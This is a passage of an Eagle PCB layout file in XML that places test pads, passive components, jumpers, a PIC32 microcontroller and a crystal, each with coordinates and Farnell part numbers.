value=\"TPPAD1-13\" x=\"106.8\" y=\"7.5\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"108.07\" y=\"10.04\" size=\"1\" layer=\"37\" rot=\"R180\"/>\n<attribute name=\"NAME\" x=\"108.47\" y=\"8.316\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"106.8\" y=\"7.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"106.8\" y=\"7.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"106.8\" y=\"7.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"106.8\" y=\"7.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"106.8\" y=\"7.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"106.8\" y=\"7.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"OP-OUT\" library=\"testpad\" package=\"P1-13\" value=\"TPPAD1-13\" x=\"89.2\" y=\"2.6\" smashed=\"yes\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"87.93\" y=\"0.06\" size=\"1\" layer=\"37\"/>\n<attribute name=\"NAME\" x=\"90.016\" y=\"1.13\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"89.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"?\" x=\"89.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"89.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"89.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"89.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"89.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"OP+OUT\" library=\"testpad\" package=\"P1-13\" value=\"TPPAD1-13\" x=\"95.6\" y=\"2.6\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"98.14\" y=\"1.33\" size=\"1\" layer=\"37\" rot=\"R90\"/>\n<attribute name=\"NAME\" x=\"96.016\" y=\"1.03\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"95.6\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"?\" x=\"95.6\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"95.6\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"95.6\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"95.6\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"95.6\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"READER_DATA\" library=\"testpad\" package=\"P1-13\" value=\"TPPAD1-13\" x=\"103\" y=\"2.6\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"100.46\" y=\"3.87\" size=\"1\" layer=\"37\" rot=\"R270\"/>\n<attribute name=\"NAME\" x=\"105.516\" y=\"1.03\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"103\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"103\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"103\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"103\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"103\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"103\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"C6\" library=\"resistor\" package=\"C0603\" value=\"TUNE\" x=\"12.3\" y=\"11.7\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"12.3\" y=\"11.7\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"11.862\" y=\"9.889\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"11.757\" y=\"7.916\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"12.3\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"12.3\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"12.3\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"12.3\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"12.3\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"C7\" library=\"resistor\" package=\"C0603\" value=\"4.3nF\" x=\"10.2\" y=\"11.7\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"10.2\" y=\"11.7\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"9.662\" y=\"9.989\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"9.657\" y=\"8.416\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"1865494\" x=\"10.2\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"10.2\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"10.2\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"10.2\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"1%\" x=\"10.2\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"R5\" library=\"resistor\" package=\"R0603\" value=\"100k\" x=\"46.3\" y=\"12.2\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"46.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"43.562\" y=\"13.689\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"44.657\" y=\"13.816\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"9330402\" x=\"46.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"46.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"46.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"46.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"46.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"R9\" library=\"resistor\" package=\"R0603\" value=\"100k\" x=\"76.3\" y=\"12.2\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"76.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"72.962\" y=\"13.189\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"74.257\" y=\"13.716\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"9330402\" x=\"76.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"76.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"76.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"76.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"76.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"TEP2\" library=\"testpad\" package=\"P1-13\" value=\"TPPAD1-13\" x=\"106.8\" y=\"12.5\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"106.8\" y=\"12.5\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"108.07\" y=\"15.04\" size=\"1\" layer=\"37\" rot=\"R180\"/>\n<attribute name=\"NAME\" x=\"108.27\" y=\"14.016\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"106.8\" y=\"12.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"106.8\" y=\"12.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"106.8\" y=\"12.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"106.8\" y=\"12.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"106.8\" y=\"12.5\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"TEP1\" library=\"testpad\" package=\"P1-13\" value=\"TPPAD1-13\" x=\"106.8\" y=\"16.8\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"106.8\" y=\"16.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"108.07\" y=\"19.34\" size=\"1\" layer=\"37\" rot=\"R180\"/>\n<attribute name=\"NAME\" x=\"108.27\" y=\"18.316\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"106.8\" y=\"16.8\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"106.8\" y=\"16.8\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"106.8\" y=\"16.8\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"106.8\" y=\"16.8\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"106.8\" y=\"16.8\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"C29\" library=\"resistor\" package=\"C0603\" value=\"10nF\" x=\"70\" y=\"15.9\" smashed=\"yes\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"70\" y=\"15.9\" size=\"1.016\" layer=\"27\" font=\"vector\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"69.011\" y=\"14.262\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"68.584\" y=\"13.157\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"1301715\" x=\"70\" y=\"15.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"70\" y=\"15.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"70\" y=\"15.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"70\" y=\"15.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"70\" y=\"15.9\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"JP6\" library=\"1FAB\" package=\"1X01\" value=\"\" x=\"92.5\" y=\"2.6\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"VALUE\" x=\"93.77\" y=\"5.775\" size=\"1.27\" layer=\"27\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"92.5\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"92.5\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"92.5\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"92.5\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"92.5\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"JP7\" library=\"1FAB\" package=\"1X01\" value=\"\" x=\"86.2\" y=\"2.6\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"84.93\" y=\"-0.575\" size=\"1.27\" layer=\"27\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"86.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"86.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"86.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"86.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"86.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"JP10\" library=\"1FAB\" package=\"1X01\" value=\"\" x=\"95.9\" y=\"29.1\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"94.63\" y=\"25.925\" size=\"1.27\" layer=\"27\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"95.9\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"95.9\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"95.9\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"95.9\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"95.9\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"JP9\" library=\"1FAB\" package=\"1X01\" value=\"\" x=\"87.2\" y=\"29.1\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"85.93\" y=\"25.925\" size=\"1.27\" layer=\"27\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"87.2\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"87.2\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"87.2\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"87.2\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"87.2\" y=\"29.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"JP8\" library=\"1FAB\" package=\"1X01\" value=\"\" x=\"100.2\" y=\"2.6\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"VALUE\" x=\"103.375\" y=\"1.33\" size=\"1.27\" layer=\"27\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"100.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"100.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"100.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"100.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"100.2\" y=\"2.6\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"U6\" library=\"1FAB\" package=\"QFP50P1600X1600X120-100N\" value=\"PIC32MX795F512L-80I/PF\" x=\"56.9\" y=\"52.2\" smashed=\"yes\">\n<attribute name=\"PACKAGE\" value=\"TQFP-100\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"OC_NEWARK\" value=\"53R0338\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"DESCRIPTION\" value=\"IC MCU\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"MPN\" value=\"PIC32MX795F512L-80I/PF\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"SUPPLIER\" value=\"Microchip\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"OC_FARNELL\" value=\"1778491\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1778491\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"56.9\" y=\"52.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"47.0058\" y=\"60.1298\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n<attribute name=\"VALUE\" x=\"49.1262\" y=\"41.5558\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n</element>\n<element name=\"C15\" library=\"resistor\" package=\"C0603\" value=\"100nf\" x=\"60.6\" y=\"66.5\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"59.8015\" y=\"65.511\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"62.043\" y=\"65.1205\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"60.6\" y=\"66.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"60.6\" y=\"66.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"60.6\" y=\"66.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y\" x=\"60.6\" y=\"66.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"Cuurently rs 264 4646\" x=\"60.6\" y=\"66.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"C16\" library=\"resistor\" package=\"C0805\" value=\"10uF\" x=\"65.1\" y=\"66.5\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"65.97\" y=\"64.53\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"66.27\" y=\"63.44\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"1867958\" x=\"65.1\" y=\"66.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"65.1\" y=\"66.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"65.1\" y=\"66.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"65.1\" y=\"66.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"65.1\" y=\"66.5\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"R23\" library=\"resistor\" package=\"R0603\" value=\"10k\" x=\"71.3\" y=\"46.6\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"71.3\" y=\"46.6\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"71.989\" y=\"48.238\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"72.516\" y=\"45.643\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"9330399\" x=\"71.3\" y=\"46.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"71.3\" y=\"46.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"71.3\" y=\"46.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"71.3\" y=\"46.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"71.3\" y=\"46.6\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"X1\" library=\"crystal\" package=\"HC49UP\" value=\"8MHz\" x=\"83.2\" y=\"52.7\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"OC_NEWARK\" value=\"unknown\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"MPN\" value=\"\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"MF\" value=\"\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"OC_FARNELL\" value=\"unknown\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"81.715\" y=\"56.206\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"85.615\" y=\"56.191\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"FARNELL\" value=\"1842346\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"83.2\" y=\"52.7\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"C13\" library=\"resistor\" package=\"C0603\" value=\"18pF\" x=\"87.5\" y=\"48.7\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"86.411\" y=\"49.4985\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"86.4205\" y=\"47.157\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"FARNELL\" value=\"1612182\" x=\"87.5\" y=\"48.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"87.5\" y=\"48.7\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"87.5\" 